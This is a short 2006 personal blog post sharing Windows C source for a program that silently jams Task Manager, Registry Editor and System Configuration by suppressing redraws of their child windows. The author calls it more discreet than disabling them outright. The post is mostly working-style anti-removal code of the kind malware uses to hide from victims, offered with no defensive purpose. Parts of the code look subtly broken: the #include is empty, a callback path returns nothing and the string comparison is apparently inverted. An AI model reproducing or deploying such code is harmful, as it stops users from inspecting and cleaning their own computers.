Friday, June 23, 2006

Screws up taskmanager,regedit and system config

Since it looks like im permanently banned from the irc server ive been getting more bored than usual,Anyway

this screws up taskmanager,regedit and system config so you cant do anything with them. More discreet than disableing them completely.


#include

BOOL CALLBACK block(HWND hwnd,LPARAM lParam)
{
char classname[250];

GetClassName(hwnd,classname,249);

if (strcmp(classname,"SysListView32"))
{
SendMessage(hwnd,WM_SETREDRAW,FALSE,0);
return 0;
}
}


int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
{

for(;;)
{
Sleep(10);

HWND taskhwnd = FindWindow(0,"Windows Task Manager");
HWND confighwnd = FindWindow(0,"System Configuration Utility");
HWND reghwnd = FindWindow(0,"Registry Editor");

if (taskhwnd!=0)
EnumChildWindows(taskhwnd,block,1);
if (confighwnd!=0)
EnumChildWindows(confighwnd,block,1);
if (reghwnd!=0)
EnumChildWindows(reghwnd,block,1);
}

return 0;
}

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home